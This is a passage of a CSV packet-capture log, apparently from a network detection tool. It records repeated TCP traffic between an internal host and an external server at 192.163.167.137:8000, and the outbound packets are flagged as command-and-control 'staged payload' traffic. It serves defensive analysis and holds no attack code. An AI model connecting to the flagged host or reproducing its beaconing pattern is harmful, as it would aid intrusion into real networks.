192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200872 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b044400080063fba0a98980bc0a3a789fa4e1f40a0687768b68ec09650102014dc69000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45124, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16314, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200872, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56425, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:51.889969,358,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200873,bc2411360d0cbc24112907bb080045000034ca9540004006655ec0a3a7890a98980b1f40fa4eb68ec096a06877698010003f0af700000101050aa0687768a0687769,\".$.6\n..$.)....E..4..@.@.e^....\n....@.N.....hwi...?\n......\n.hwh.hwi\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51861, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25950, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200872, 2691200873))]\"\"}}]\"\n2026-07-01 09:07:52.905497,359,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200872 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b045400080063fb90a98980bc0a3a789fa4e1f40a0687768b68ec09650102014dc69000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45125, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16313, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200872, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56425, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:52.905519,360,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200873,bc2411360d0cbc24112907bb080045000034ca9640004006655dc0a3a7890a98980b1f40fa4eb68ec096a06877698010003f0af700000101050aa0687768a0687769,\".$.6\n..$.)....E..4..@.@.e]....\n....@.N.....hwi...?\n......\n.hwh.hwi\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51862, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25949, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200872, 2691200873))]\"\"}}]\"\n2026-07-01 09:07:53.921128,361,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200872 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b046400080063fb80a98980bc0a3a789fa4e1f40a0687768b68ec09650102014dc69000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45126, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16312, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200872, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56425, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:53.921155,362,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200873,bc2411360d0cbc24112907bb080045000034ca9740004006655cc0a3a7890a98980b1f40fa4eb68ec096a06877698010003f0af700000101050aa0687768a0687769,\".$.6\n..$.)....E..4..@.@.e\\....\n....@.N.....hwi...?\n......\n.hwh.hwi\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51863, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25948, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200872, 2691200873))]\"\"}}]\"\n2026-07-01 09:07:54.921298,363,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200872 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b047400080063fb70a98980bc0a3a789fa4e1f40a0687768b68ec09650102014dc69000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45127, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16311, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200872, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56425, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:54.921318,364,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200873,bc2411360d0cbc24112907bb080045000034ca9840004006655bc0a3a7890a98980b1f40fa4eb68ec096a06877698010003f0af700000101050aa0687768a0687769,\".$.6\n..$.)....E..4..@.@.e[....\n....@.N.....hwi...?\n......\n.hwh.hwi\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51864, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25947, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200872, 2691200873))]\"\"}}]\"\n2026-07-01 09:07:55.797951,365,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=2691200873 Ack=3062808726,bc24112907bbbc2411360d0c08004500003db048400080063fa20a98980bc0a3a789fa4e1f40a0687769b68ec0965018201476ab00001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45128, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16290, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200873, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 30379, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:07:55.797995,366,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000028ca99400040066566c0a3a7890a98980b1f40fa4eb68ec096a068777e5010003f0aeb0000,\".$.6\n..$.)....E..(..@.@.ef....\n....@.N.....hw~P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 51865, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25958, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:07:56.811964,367,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200893 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b049400080063fb50a98980bc0a3a789fa4e1f40a068777db68ec09650102014dc54000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45129, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16309, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200893, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56404, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:56.811971,368,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000034ca9a400040066559c0a3a7890a98980b1f40fa4eb68ec096a068777e8010003f0af700000101050aa068777da068777e,\".$.6\n..$.)....E..4..@.@.eY....\n....@.N.....hw~...?\n......\n.hw}.hw~\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51866, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25945, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200893, 2691200894))]\"\"}}]\"\n2026-07-01 09:07:57.827454,369,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200893 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b04a400080063fb40a98980bc0a3a789fa4e1f40a068777db68ec09650102014dc54000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45130, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16308, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200893, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56404, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:57.827479,370,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000034ca9b400040066558c0a3a7890a98980b1f40fa4eb68ec096a068777e8010003f0af700000101050aa068777da068777e,\".$.6\n..$.)....E..4..@.@.eX....\n....@.N.....hw~...?\n......\n.hw}.hw~\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51867, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25944, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200893, 2691200894))]\"\"}}]\"\n2026-07-01 09:07:58.827666,371,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200893 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b04b400080063fb30a98980bc0a3a789fa4e1f40a068777db68ec09650102014dc54000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45131, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16307, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200893, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56404, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:58.827701,372,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000034ca9c400040066557c0a3a7890a98980b1f40fa4eb68ec096a068777e8010003f0af700000101050aa068777da068777e,\".$.6\n..$.)....E..4..@.@.eW....\n....@.N.....hw~...?\n......\n.hw}.hw~\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51868, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25943, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200893, 2691200894))]\"\"}}]\"\n2026-07-01 09:07:59.843302,373,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200893 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b04c400080063fb20a98980bc0a3a789fa4e1f40a068777db68ec09650102014dc54000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45132, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16306, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200893, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56404, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": 